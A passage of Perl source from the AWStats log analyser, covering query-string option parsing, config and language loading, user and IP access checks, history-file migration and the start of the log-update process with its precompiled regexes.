17375# Get/Define output
17376if ( $QueryString =~
17377	/(^|&|&amp;)output(=[^&]*|)(.*)(&|&amp;)output(=[^&]*|)(&|$)/i )
17378{
17379	error( "Only 1 output option is allowed", "", "", 1 );
17380}
17381if ( $QueryString =~ /(^|&|&amp;)output(=[^&]*|)(&|$)/i ) {
17382
17383	# At least one output expected. We define %HTMLOutput
17384	my $outputlist = "$2";
17385	if ($outputlist) {
17386		$outputlist =~ s/^=//;
17387		foreach my $outputparam ( split( /,/, $outputlist ) ) {
17388			$outputparam =~ s/:(.*)$//;
17389			if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; }
17390		}
17391	}
17392
17393	# If on command line and no update
17394	if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) {
17395		$UpdateStats = 0;
17396	}
17397
17398	# If no output defined, used default value
17399	if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; }
17400}
17401if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) {
17402	$HTMLOutput{'main'} = 1;
17403}
17404
17405# Remove -output option with no = from QueryString
17406$QueryString =~ s/(^|&|&amp;)output(&|$)/$1$2/i;
17407$QueryString =~ s/&+$//;
17408
17409# Check year, month, day, hour parameters
17410if ( $QueryString =~ /(^|&|&amp;)month=(year)/i ) {
17411	error("month=year is a deprecated option. Use month=all instead.");
17412}
17413if ( $QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i ) {
17414	$YearRequired = sprintf( "%04d", $2 );
17415}
17416else { $YearRequired = "$nowyear"; }
17417if ( $QueryString =~ /(^|&|&amp;)month=(\d{1,2})/i ) {
17418	$MonthRequired = sprintf( "%02d", $2 );
17419}
17420elsif ( $QueryString =~ /(^|&|&amp;)month=(all)/i ) { $MonthRequired = 'all'; }
17421else { $MonthRequired = "$nowmonth"; }
17422if ( $QueryString =~ /(^|&|&amp;)day=(\d{1,2})/i ) {
17423	$DayRequired = sprintf( "%02d", $2 );
17424} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
17425else { $DayRequired = ''; }
17426if ( $QueryString =~ /(^|&|&amp;)hour=(\d{1,2})/i ) {
17427	$HourRequired = sprintf( "%02d", $2 );
17428} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
17429else { $HourRequired = ''; }
17430
17431# Check parameter validity
17432# TODO
17433
17434# Print AWStats and Perl version
17435if ($Debug) {
17436	debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 );
17437	debug( "DIR=$DIR PROG=$PROG Extension=$Extension",   2 );
17438	debug( "QUERY_STRING=$QueryString",                  2 );
17439	debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 );
17440	debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
17441	debug( "DayRequired=$DayRequired, HourRequired=$HourRequired",     2 );
17442	debug( "UpdateFor=$UpdateFor",                                     2 );
17443	debug( "PluginMode=$PluginMode",                                   2 );
17444	debug( "DirConfig=$DirConfig",                                     2 );
17445}
17446
17447# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
17448if ( $ENV{'AWSTATS_CONFIG'} ) {
17449	$ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'};
17450}    # For backward compatibility
17451if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
17452	if ($Debug) {
17453		debug(  "AWSTATS_FORCE_CONFIG parameter is defined to '"
17454			  . $ENV{'AWSTATS_FORCE_CONFIG'}
17455			  . "'. $PROG will use this as config value." );
17456	}
17457	$SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
17458}
17459
17460# Display version information
17461if ( $QueryString =~ /(^|&|&amp;)version/i ) {
17462	print "$PROG $VERSION\n";
17463	exit 0;
17464}
17465# Display help information
17466if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
17467	&PrintCLIHelp();
17468	exit 2;
17469}
17470$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} );
17471
17472#$ENV{'SERVER_NAME'}||=$SiteConfig;	# For thoose who use __SERVER_NAME__ in conf file and use CLI.
17473$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig;
17474
17475# Read config file (SiteConfig must be defined)
17476&Read_Config($DirConfig);
17477
17478# Check language
17479if ( $QueryString =~ /(^|&|&amp;)lang=([^&]+)/i ) { $Lang = "$2"; }
17480if ( !$Lang || $Lang eq 'auto' ) {    # If lang not defined or forced to auto
17481	my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || '';
17482	$langlist =~ s/;[^,]*//g;
17483	if ($Debug) {
17484		debug(
17485			"Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
17486			1
17487		);
17488	}
17489	foreach my $code ( split( /,/, $langlist ) )
17490	{                                 # Search for a valid lang in priority
17491		if ( $LangBrowserToLangAwstats{$code} ) {
17492			$Lang = $LangBrowserToLangAwstats{$code};
17493			if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
17494			last;
17495		}
17496		$code =~ s/-.*$//;
17497		if ( $LangBrowserToLangAwstats{$code} ) {
17498			$Lang = $LangBrowserToLangAwstats{$code};
17499			if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
17500			last;
17501		}
17502	}
17503}
17504if ( !$Lang || $Lang eq 'auto' ) {
17505	if ($Debug) {
17506		debug( " No language defined or available. Will use Lang=en", 1 );
17507	}
17508	$Lang = 'en';
17509}
17510
17511# Check and correct bad parameters
17512&Check_Config();
17513
17514# Now SiteDomain is defined
17515
17516if ( $Debug && !$DebugMessages ) {
17517	error(
17518"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
17519	);
17520}
17521
17522# Define frame name and correct variable for frames
17523if ( !$FrameName ) {
17524	if (   $ENV{'GATEWAY_INTERFACE'}
17525		&& $UseFramesWhenCGI
17526		&& $HTMLOutput{'main'}
17527		&& !$PluginMode )
17528	{
17529		$FrameName = 'index';
17530	}
17531	else { $FrameName = 'main'; }
17532}
17533
17534# Load Message files, Reference data files and Plugins
17535if ($Debug) { debug( "FrameName=$FrameName", 1 ); }
17536if ( $FrameName ne 'index' ) {
17537	&Read_Language_Data($Lang);
17538	if ( $FrameName ne 'mainleft' ) {
17539		my %datatoload = ();
17540		my (
17541			$filedomains, $filemime, $filerobots, $fileworms,
17542			$filebrowser, $fileos,   $filese
17543		  )
17544		  = (
17545			'domains',  'mime',
17546			'robots',   'worms',
17547			'browsers', 'operating_systems',
17548			'search_engines'
17549		  );
17550		my ( $filestatushttp, $filestatussmtp ) =
17551		  ( 'status_http', 'status_smtp' );
17552		if ( $LevelForBrowsersDetection eq 'allphones' ) {
17553			$filebrowser = 'browsers_phone';
17554		}
17555		if ($UpdateStats) {    # If update
17556			if ($LevelForFileTypesDetection) {
17557				$datatoload{$filemime} = 1;
17558			}                  # Only if need to filter on known extensions
17559			if ($LevelForRobotsDetection) {
17560				$datatoload{$filerobots} = 1;
17561			}                  # ua
17562			if ($LevelForWormsDetection) {
17563				$datatoload{$fileworms} = 1;
17564			}                  # url
17565			if ($LevelForBrowsersDetection) {
17566				$datatoload{$filebrowser} = 1;
17567			}                  # ua
17568			if ($LevelForOSDetection) {
17569				$datatoload{$fileos} = 1;
17570			}                  # ua
17571			if ($LevelForRefererAnalyze) {
17572				$datatoload{$filese} = 1;
17573			}                  # referer
17574			                   # if (...) { $datatoload{'referer_spam'}=1; }
17575		}
17576		if ( scalar keys %HTMLOutput ) {    # If output
17577			if ( $ShowDomainsStats || $ShowHostsStats ) {
17578				$datatoload{$filedomains} = 1;
17579			} # TODO Replace by test if ($ShowDomainsStats) when plugins geoip can force load of domains datafile.
17580			if ($ShowFileTypesStats)  { $datatoload{$filemime}       = 1; }
17581			if ($ShowRobotsStats)     { $datatoload{$filerobots}     = 1; }
17582			if ($ShowWormsStats)      { $datatoload{$fileworms}      = 1; }
17583			if ($ShowBrowsersStats)   { $datatoload{$filebrowser}    = 1; }
17584			if ($ShowOSStats)         { $datatoload{$fileos}         = 1; }
17585			if ($ShowOriginStats)     { $datatoload{$filese}         = 1; }
17586			if ($ShowHTTPErrorsStats) { $datatoload{$filestatushttp} = 1; }
17587			if ($ShowSMTPErrorsStats) { $datatoload{$filestatussmtp} = 1; }
17588		}
17589		&Read_Ref_Data( keys %datatoload );
17590	}
17591	&Read_Plugins();
17592}
17593
17594# Here charset is defined, so we can send the http header (Need BuildReportFormat,PageCode)
17595if ( !$HeaderHTTPSent && $ENV{'GATEWAY_INTERFACE'} ) {
17596	http_head();
17597}    # Run from a browser as CGI
17598
17599# Init other parameters
17600$NBOFLINESFORBENCHMARK--;
17601if ( $ENV{'GATEWAY_INTERFACE'} ) { $DirCgi = ''; }
17602if ( $DirCgi && !( $DirCgi =~ /\/$/ ) && !( $DirCgi =~ /\\$/ ) ) {
17603	$DirCgi .= '/';
17604}
17605if ( !$DirData || $DirData =~ /^\./ ) {
17606	if ( !$DirData || $DirData eq '.' ) {
17607		$DirData = "$DIR";
17608	}    # If not defined or chosen to '.' value then DirData is current dir
17609	elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
17610}
17611$DirData ||= '.';    # If current dir not defined then we put it to '.'
17612$DirData =~ s/[\\\/]+$//;
17613
17614if ( $FirstDayOfWeek == 1 ) { @DOWIndex = ( 1, 2, 3, 4, 5, 6, 0 ); }
17615else { @DOWIndex = ( 0, 1, 2, 3, 4, 5, 6 ); }
17616
17617# Should we link to ourselves or to a wrapper script
17618$AWScript = ( $WrapperScript ? "$WrapperScript" : "$DirCgi$PROG.$Extension" );
17619if (index($AWScript,'?')>-1)
17620{
17621    $AWScript .= '&amp;';   # $AWScript contains URL parameters
17622}
17623else
17624{
17625    $AWScript .= '?';
17626}
17627
17628
17629# Print html header (Need HTMLOutput,Expires,Lang,StyleSheet,HTMLHeadSectionExpires defined by Read_Config, PageCode defined by Read_Language_Data)
17630if ( !$HeaderHTMLSent ) { &html_head; }
17631
17632# AWStats output is replaced by a plugin output
17633if ($PluginMode) {
17634
17635	#	my $function="BuildFullHTMLOutput_$PluginMode()";
17636	#	eval("$function");
17637	my $function = "BuildFullHTMLOutput_$PluginMode";
17638	&$function();
17639	if ( $? || $@ ) { error("$@"); }
17640	&html_end(0);
17641	exit 0;
17642}
17643
17644# Security check
17645if ( $AllowAccessFromWebToAuthenticatedUsersOnly && $ENV{'GATEWAY_INTERFACE'} )
17646{
17647	if ($Debug) { debug( "REMOTE_USER=" . $ENV{"REMOTE_USER"} ); }
17648	if ( !$ENV{"REMOTE_USER"} ) {
17649		error(
17650"Access to statistics is only allowed from an authenticated session to authenticated users."
17651		);
17652	}
17653	if (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
17654		my $userisinlist = 0;
17655		my $remoteuser   = quotemeta( $ENV{"REMOTE_USER"} );
17656		$remoteuser =~ s/\s/%20/g
17657		  ; # Allow authenticated user with space in name to be compared to allowed user list
17658		my $currentuser = qr/^$remoteuser$/i;    # Set precompiled regex
17659		foreach (@AllowAccessFromWebToFollowingAuthenticatedUsers) {
17660			if (/$currentuser/o) { $userisinlist = 1; last; }
17661		}
17662		if ( !$userisinlist ) {
17663			error(  "User '"
17664				  . $ENV{"REMOTE_USER"}
17665				  . "' is not allowed to access statistics of this domain/config."
17666			);
17667		}
17668	}
17669}
17670if ( $AllowAccessFromWebToFollowingIPAddresses && $ENV{'GATEWAY_INTERFACE'} ) {
17671	my $IPAddress     = $ENV{"REMOTE_ADDR"};                  # IPv4 or IPv6
17672	my $useripaddress = &Convert_IP_To_Decimal($IPAddress);
17673	my @allowaccessfromipaddresses =
17674	  split( /[\s,]+/, $AllowAccessFromWebToFollowingIPAddresses );
17675	my $allowaccess = 0;
17676	foreach my $ipaddressrange (@allowaccessfromipaddresses) {
17677		if ( $ipaddressrange !~
17678			/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/
17679			&& $ipaddressrange !~
17680			/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
17681		{
17682			error(
17683"AllowAccessFromWebToFollowingIPAddresses is defined to '$AllowAccessFromWebToFollowingIPAddresses' but part of value does not match the correct syntax: IPv4AddressMin[-IPv4AddressMax] or IPv6Address[\/prefix] in \"$ipaddressrange\""
17684			);
17685		}
17686
17687		# Test ip v4
17688		if ( $ipaddressrange =~
17689			/^(\d+\.\d+\.\d+\.\d+)(?:-(\d+\.\d+\.\d+\.\d+))*$/ )
17690		{
17691			my $ipmin = &Convert_IP_To_Decimal($1);
17692			my $ipmax = $2 ? &Convert_IP_To_Decimal($2) : $ipmin;
17693
17694			# Is it an authorized ip ?
17695			if ( ( $useripaddress >= $ipmin ) && ( $useripaddress <= $ipmax ) )
17696			{
17697				$allowaccess = 1;
17698				last;
17699			}
17700		}
17701
17702		# Test ip v6
17703		if ( $ipaddressrange =~
17704			/^([0-9A-Fa-f]{1,4}:){1,7}(:|)([0-9A-Fa-f]{1,4}|\/\d)/ )
17705		{
17706			if ( $ipaddressrange =~ /::\// ) {
17707				my @IPv6split = split( /::/, $ipaddressrange );
17708				if ( $IPAddress =~ /^$IPv6split[0]/ ) {
17709					$allowaccess = 1;
17710					last;
17711				}
17712			}
17713			elsif ( $ipaddressrange == $IPAddress ) {
17714				$allowaccess = 1;
17715				last;
17716			}
17717		}
17718	}
17719	if ( !$allowaccess ) {
17720		error( "Access to statistics is not allowed from your IP Address "
17721			  . $ENV{"REMOTE_ADDR"} );
17722	}
17723}
17724if (   ( $UpdateStats || $MigrateStats )
17725	&& ( !$AllowToUpdateStatsFromBrowser )
17726	&& $ENV{'GATEWAY_INTERFACE'} )
17727{
17728	error(  ""
17729		  . ( $UpdateStats ? "Update" : "Migrate" )
17730		  . " of statistics has not been allowed from a browser (AllowToUpdateStatsFromBrowser should be set to 1)."
17731	);
17732}
17733if ( scalar keys %HTMLOutput && $MonthRequired eq 'all' ) {
17734	if ( !$AllowFullYearView ) {
17735		error(
17736"Full year view has not been allowed (AllowFullYearView is set to 0)."
17737		);
17738	}
17739	if ( $AllowFullYearView < 3 && $ENV{'GATEWAY_INTERFACE'} ) {
17740		error(
17741"Full year view has not been allowed from a browser (AllowFullYearView should be set to 3)."
17742		);
17743	}
17744}
17745
17746#------------------------------------------
17747# MIGRATE PROCESS (Must be after reading config cause we need MaxNbOf... and Min...)
17748#------------------------------------------
17749if ($MigrateStats) {
17750	if ($Debug) { debug( "MigrateStats is $MigrateStats", 2 ); }
17751	if ( $MigrateStats !~
17752		/^(.*)$PROG(\d\d)(\d\d\d\d)(\d{0,2})(\d{0,2})(.*)\.txt$/ )
17753	{
17754		error(
17755"AWStats history file name must match following syntax: ${PROG}MMYYYY[.config].txt",
17756			"", "", 1
17757		);
17758	}
17759	$DirData       = "$1";
17760	$MonthRequired = "$2";
17761	$YearRequired  = "$3";
17762	$DayRequired   = "$4";
17763	$HourRequired  = "$5";
17764	$FileSuffix    = "$6";
17765
17766	# Correct DirData
17767	if ( !$DirData || $DirData =~ /^\./ ) {
17768		if ( !$DirData || $DirData eq '.' ) {
17769			$DirData = "$DIR";
17770		}    # If not defined or chosen to '.' value then DirData is current dir
17771		elsif ( $DIR && $DIR ne '.' ) { $DirData = "$DIR/$DirData"; }
17772	}
17773	$DirData ||= '.';    # If current dir not defined then we put it to '.'
17774	$DirData =~ s/[\\\/]+$//;
17775	print "Start migration for file '$MigrateStats'.";
17776	print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
17777	if ($EnableLockForUpdate) { &Lock_Update(1); }
17778	my $newhistory =
17779	  &Read_History_With_TmpUpdate( $YearRequired, $MonthRequired, $DayRequired,
17780		$HourRequired, 1, 0, 'all' );
17781	if ( rename( "$newhistory", "$MigrateStats" ) == 0 ) {
17782		unlink "$newhistory";
17783		error(
17784"Failed to rename \"$newhistory\" into \"$MigrateStats\".\nWrite permissions on \"$MigrateStats\" might be wrong"
17785			  . (
17786				$ENV{'GATEWAY_INTERFACE'} ? " for a 'migration from web'" : ""
17787			  )
17788			  . " or file might be opened."
17789		);
17790	}
17791	if ($EnableLockForUpdate) { &Lock_Update(0); }
17792	print "Migration for file '$MigrateStats' successful.";
17793	print $ENV{'GATEWAY_INTERFACE'} ? "<br />\n" : "\n";
17794	&html_end(1);
17795	exit 0;
17796}
17797
17798# Output main frame page and exit. This must be after the security check.
17799if ( $FrameName eq 'index' ) {
17800
17801	# Define the NewLinkParams for main chart
17802	my $NewLinkParams = ${QueryString};
17803	$NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
17804	$NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
17805	$NewLinkParams =~ s/^&amp;//;
17806	$NewLinkParams =~ s/&amp;$//;
17807	if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
17808
17809	# Exit if main frame
17810	print "<frameset cols=\"$FRAMEWIDTH,*\">\n";
17811	print "<frame name=\"mainleft\" src=\""
17812	  . XMLEncode("$AWScript${NewLinkParams}framename=mainleft")
17813	  . "\" noresize=\"noresize\" frameborder=\"0\" />\n";
17814	print "<frame name=\"mainright\" src=\""
17815	  . XMLEncode("$AWScript${NewLinkParams}framename=mainright")
17816	  . "\" noresize=\"noresize\" scrolling=\"yes\" frameborder=\"0\" />\n";
17817	print "<noframes><body>";
17818	print "Your browser does not support frames.<br />\n";
17819	print "You must set AWStats UseFramesWhenCGI parameter to 0\n";
17820	print "to see your reports.<br />\n";
17821	print "</body></noframes>\n";
17822	print "</frameset>\n";
17823	&html_end(0);
17824	exit 0;
17825}
17826
17827%MonthNumLib = (
17828	"01", "$Message[60]", "02", "$Message[61]", "03", "$Message[62]",
17829	"04", "$Message[63]", "05", "$Message[64]", "06", "$Message[65]",
17830	"07", "$Message[66]", "08", "$Message[67]", "09", "$Message[68]",
17831	"10", "$Message[69]", "11", "$Message[70]", "12", "$Message[71]"
17832);
17833
17834# Build ListOfYears list with all existing years
17835(
17836	$lastyearbeforeupdate, $lastmonthbeforeupdate, $lastdaybeforeupdate,
17837	$lasthourbeforeupdate, $lastdatebeforeupdate
17838  )
17839  = ( 0, 0, 0, 0, 0 );
17840my $datemask = '';
17841if    ( $DatabaseBreak eq 'month' ) { $datemask = '(\d\d)(\d\d\d\d)'; }
17842elsif ( $DatabaseBreak eq 'year' )  { $datemask = '(\d\d\d\d)'; }
17843elsif ( $DatabaseBreak eq 'day' )   { $datemask = '(\d\d)(\d\d\d\d)(\d\d)'; }
17844elsif ( $DatabaseBreak eq 'hour' )  {
17845	$datemask = '(\d\d)(\d\d\d\d)(\d\d)(\d\d)';
17846}
17847
17848if ($Debug) {
17849	debug(
17850"Scan for last history files into DirData='$DirData' with mask='$datemask'"
17851	);
17852}
17853
17854my $retval = opendir( DIR, "$DirData" );
17855if(! $retval)
17856{
17857    error( "Failed to open directory $DirData : $!");
17858}
17859my $regfilesuffix = quotemeta($FileSuffix);
17860foreach ( grep /^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i,
17861	file_filt sort readdir DIR )
17862{
17863	/^$PROG$datemask$regfilesuffix\.txt(|\.gz)$/i;
17864	if ( !$ListOfYears{"$2"} || "$1" gt $ListOfYears{"$2"} ) {
17865
17866		# ListOfYears contains max month found
17867		$ListOfYears{"$2"} = "$1";
17868	}
17869	my $rangestring = ( $2 || "" ) . ( $1 || "" ) . ( $3 || "" ) . ( $4 || "" );
17870	if ( $rangestring gt $lastdatebeforeupdate ) {
17871
17872		# We are on a new max for mask
17873		$lastyearbeforeupdate  = ( $2 || "" );
17874		$lastmonthbeforeupdate = ( $1 || "" );
17875		$lastdaybeforeupdate   = ( $3 || "" );
17876		$lasthourbeforeupdate  = ( $4 || "" );
17877		$lastdatebeforeupdate = $rangestring;
17878	}
17879}
17880close DIR;
17881
17882# If at least one file found, get value for LastLine
17883if ($lastyearbeforeupdate) {
17884
17885	# Read 'general' section of last history file for LastLine
17886	&Read_History_With_TmpUpdate( $lastyearbeforeupdate, $lastmonthbeforeupdate,
17887		$lastdaybeforeupdate, $lasthourbeforeupdate, 0, 0, "general" );
17888}
17889
17890# Warning if lastline in future
17891if ( $LastLine > ( $nowtime + 20000 ) ) {
17892	warning(
17893"WARNING: LastLine parameter in history file is '$LastLine' so in future. May be you need to correct manually the line LastLine in some awstats*.$SiteConfig.conf files."
17894	);
17895}
17896
17897# Force LastLine
17898if ( $QueryString =~ /lastline=(\d{14})/i ) {
17899	$LastLine = $1;
17900}
17901if ($Debug) {
17902	debug("Last year=$lastyearbeforeupdate - Last month=$lastmonthbeforeupdate");
17903	debug("Last day=$lastdaybeforeupdate - Last hour=$lasthourbeforeupdate");
17904	debug("LastLine=$LastLine");
17905	debug("LastLineNumber=$LastLineNumber");
17906	debug("LastLineOffset=$LastLineOffset");
17907	debug("LastLineChecksum=$LastLineChecksum");
17908}
17909
17910# Init vars
17911&Init_HashArray();
17912
17913#------------------------------------------
17914# UPDATE PROCESS
17915#------------------------------------------
17916my $lastlinenb         = 0;
17917my $lastlineoffset     = 0;
17918my $lastlineoffsetnext = 0;
17919if ($Debug) { debug( "UpdateStats is $UpdateStats", 2 ); }
17920if ( $UpdateStats && $FrameName ne 'index' && $FrameName ne 'mainleft' )
17921{    # Update only on index page or when not framed to avoid update twice
17922
17923	my %MonthNum = (
17924		"Jan", "01", "jan", "01", "Feb", "02", "feb", "02", "Mar", "03",
17925		"mar", "03", "Apr", "04", "apr", "04", "May", "05", "may", "05",
17926		"Jun", "06", "jun", "06", "Jul", "07", "jul", "07", "Aug", "08",
17927		"aug", "08", "Sep", "09", "sep", "09", "Oct", "10", "oct", "10",
17928		"Nov", "11", "nov", "11", "Dec", "12", "dec", "12"
17929	  )
17930	  ; # MonthNum must be in english because used to translate log date in apache log files
17931
17932	if ( !scalar keys %HTMLOutput ) {
17933		print
17934"Create/Update database for config \"$FileConfig\" by AWStats version $VERSION\n";
17935		print "From data in log file \"$LogFile\"...\n";
17936	}
17937
17938	my $lastprocessedyear  = $lastyearbeforeupdate  || 0;
17939	my $lastprocessedmonth = $lastmonthbeforeupdate || 0;
17940	my $lastprocessedday   = $lastdaybeforeupdate   || 0;
17941	my $lastprocessedhour  = $lasthourbeforeupdate  || 0;
17942	my $lastprocesseddate  = '';
17943	if ( $DatabaseBreak eq 'month' ) {
17944		$lastprocesseddate =
17945		  sprintf( "%04i%02i", $lastprocessedyear, $lastprocessedmonth );
17946	}
17947	elsif ( $DatabaseBreak eq 'year' ) {
17948		$lastprocesseddate = sprintf( "%04i%", $lastprocessedyear );
17949	}
17950	elsif ( $DatabaseBreak eq 'day' ) {
17951		$lastprocesseddate = sprintf( "%04i%02i%02i",
17952			$lastprocessedyear, $lastprocessedmonth, $lastprocessedday );
17953	}
17954	elsif ( $DatabaseBreak eq 'hour' ) {
17955		$lastprocesseddate = sprintf(
17956			"%04i%02i%02i%02i",
17957			$lastprocessedyear, $lastprocessedmonth,
17958			$lastprocessedday,  $lastprocessedhour
17959		);
17960	}
17961
17962	my @list;
17963
17964	# Init RobotsSearchIDOrder required for update process
17965	@list = ();
17966	if ( $LevelForRobotsDetection >= 1 ) {
17967		foreach ( 1 .. $LevelForRobotsDetection ) { push @list, "list$_"; }
17968		push @list, "listgen";    # Always added
17969	}
17970	foreach my $key (@list) {
17971		push @RobotsSearchIDOrder, @{"RobotsSearchIDOrder_$key"};
17972		if ($Debug) {
17973			debug(
17974				"Add "
17975				  . @{"RobotsSearchIDOrder_$key"}
17976				  . " elements from RobotsSearchIDOrder_$key into RobotsSearchIDOrder",
17977				2
17978			);
17979		}
17980	}
17981	if ($Debug) {
17982		debug(
17983			"RobotsSearchIDOrder has now " . @RobotsSearchIDOrder . " elements",
17984			1
17985		);
17986	}
17987
17988	# Init SearchEnginesIDOrder required for update process
17989	@list = ();
17990	if ( $LevelForSearchEnginesDetection >= 1 ) {
17991		foreach ( 1 .. $LevelForSearchEnginesDetection ) {
17992			push @list, "list$_";
17993		}
17994		push @list, "listgen";    # Always added
17995	}
17996	foreach my $key (@list) {
17997		push @SearchEnginesSearchIDOrder, @{"SearchEnginesSearchIDOrder_$key"};
17998		if ($Debug) {
17999			debug(
18000				"Add "
18001				  . @{"SearchEnginesSearchIDOrder_$key"}
18002				  . " elements from SearchEnginesSearchIDOrder_$key into SearchEnginesSearchIDOrder",
18003				2
18004			);
18005		}
18006	}
18007	if ($Debug) {
18008		debug(
18009			"SearchEnginesSearchIDOrder has now "
18010			  . @SearchEnginesSearchIDOrder
18011			  . " elements",
18012			1
18013		);
18014	}
18015
18016	# Complete HostAliases array
18017	my $sitetoanalyze = quotemeta( lc($SiteDomain) );
18018	if ( !@HostAliases ) {
18019		warning(
18020"Warning: HostAliases parameter is not defined, $PROG choose \"$SiteDomain localhost 127.0.0.1\"."
18021		);
18022		push @HostAliases, qr/^$sitetoanalyze$/i;
18023		push @HostAliases, qr/^localhost$/i;
18024		push @HostAliases, qr/^127\.0\.0\.1$/i;
18025	}
18026	else {
18027		unshift @HostAliases, qr/^$sitetoanalyze$/i;
18028	}    # Add SiteDomain as first value
18029
18030	# Optimize arrays
18031	@HostAliases = &OptimizeArray( \@HostAliases, 1 );
18032	if ($Debug) {
18033		debug( "HostAliases precompiled regex list is now @HostAliases", 1 );
18034	}
18035	@SkipDNSLookupFor = &OptimizeArray( \@SkipDNSLookupFor, 1 );
18036	if ($Debug) {
18037		debug(
18038			"SkipDNSLookupFor precompiled regex list is now @SkipDNSLookupFor",
18039			1
18040		);
18041	}
18042	@SkipHosts = &OptimizeArray( \@SkipHosts, 1 );
18043	if ($Debug) {
18044		debug( "SkipHosts precompiled regex list is now @SkipHosts", 1 );
18045	}
18046	@SkipReferrers = &OptimizeArray( \@SkipReferrers, 1 );
18047	if ($Debug) {
18048		debug( "SkipReferrers precompiled regex list is now @SkipReferrers",
18049			1 );
18050	}
18051	@SkipUserAgents = &OptimizeArray( \@SkipUserAgents, 1 );
18052	if ($Debug) {
18053		debug( "SkipUserAgents precompiled regex list is now @SkipUserAgents",
18054			1 );
18055	}
18056	@SkipFiles = &OptimizeArray( \@SkipFiles, $URLNotCaseSensitive );
18057	if ($Debug) {
18058		debug( "SkipFiles precompiled regex list is now @SkipFiles", 1 );
18059	}
18060	@OnlyHosts = &OptimizeArray( \@OnlyHosts, 1 );
18061	if ($Debug) {
18062		debug( "OnlyHosts precompiled regex list is now @OnlyHosts", 1 );
18063	}
18064	@OnlyUsers = &OptimizeArray( \@OnlyUsers, 1 );
18065	if ($Debug) {
18066		debug( "OnlyUsers precompiled regex list is now @OnlyUsers", 1 );
18067	}
18068	@OnlyUserAgents = &OptimizeArray( \@OnlyUserAgents, 1 );
18069	if ($Debug) {
18070		debug( "OnlyUserAgents precompiled regex list is now @OnlyUserAgents",
18071			1 );
18072	}
18073	@OnlyFiles = &OptimizeArray( \@OnlyFiles, $URLNotCaseSensitive );
18074	if ($Debug) {
18075		debug( "OnlyFiles precompiled regex list is now @OnlyFiles", 1 );
18076	}
18077	@NotPageFiles = &OptimizeArray( \@NotPageFiles, $URLNotCaseSensitive );
18078	if ($Debug) {
18079		debug( "NotPageFiles precompiled regex list is now @NotPageFiles", 1 );
18080	}
18081
18082	# Precompile the regex search strings with qr
18083	@RobotsSearchIDOrder        = map { qr/$_/i } @RobotsSearchIDOrder;
18084	@WormsSearchIDOrder         = map { qr/$_/i } @WormsSearchIDOrder;
18085	@BrowsersSearchIDOrder      = map { qr/$_/i } @BrowsersSearchIDOrder;
18086	@OSSearchIDOrder            = map { qr/$_/i } @OSSearchIDOrder;
18087	@SearchEnginesSearchIDOrder = map { qr/$_/i } @SearchEnginesSearchIDOrder;
18088	my $miscquoted     = quotemeta("$MiscTrackerUrl");
18089	my $defquoted      = quotemeta("/$DefaultFile[0]");
18090	my $sitewithoutwww = lc($SiteDomain);
18091	$sitewithoutwww =~ s/www\.//;
18092	$sitewithoutwww = quotemeta($sitewithoutwww);
18093
18094	# Define precompiled regex
18095	my $regmisc        = qr/^$miscquoted/;
18096	my $regfavico      = qr/\/favicon\.ico$/i;
18097	my $regrobot       = qr/\/robots\.txt$/i;
18098	my $regtruncanchor = qr/#(\w*)$/;
18099	my $regtruncurl    = qr/([$URLQuerySeparators])(.*)$/;
18100	my $regext         = qr/\.(\w{1,6})$/;
18101	my $regdefault;
18102	if ($URLNotCaseSensitive) { $regdefault = qr/$defquoted$/i; }
18103	else { $regdefault = qr/$defquoted$/; }
18104	my $regipv4           = qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
18105	my $regipv4l          = qr/^::ffff:\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
18106	my $regipv6           = qr/^[0-9A-F]*:/i;
18107	my $regveredge        = qr/edge\/([\d]+)/i;
18108	my $regvermsie        = qr/msie([+_ ]|)([\d\.]*)/i;
18109	#my $regvermsie11      = qr/trident\/7\.\d*\;([+_ ]|)rv:([\d\.]*)/i;
18110	my $regvermsie11      = qr/trident\/7\.\d*\;([a-zA-Z;+_ ]+|)rv:([\d\.]*)/i;
18111	my $regvernetscape    = qr/netscape.?\/([\d\.]*)/i;
18112	my $regverfirefox     = qr/firefox\/([\d\.]*)/i;
18113	# For Opera:
18114	# OPR/15.0.1266 means Opera 15
18115	# Opera/9.80 ...... Version/12.16 means Opera 12.16
18116	# Mozilla/5.0 .... Opera 11.51 means Opera 11.51
18117	my $regveropera = qr/opera\/9\.80\s.+\sversion\/([\d\.]+)|ope?ra?[\/\s]([\d\.]+)/i;
18118	my $regversafari      = qr/safari\/([\d\.]*)/i;
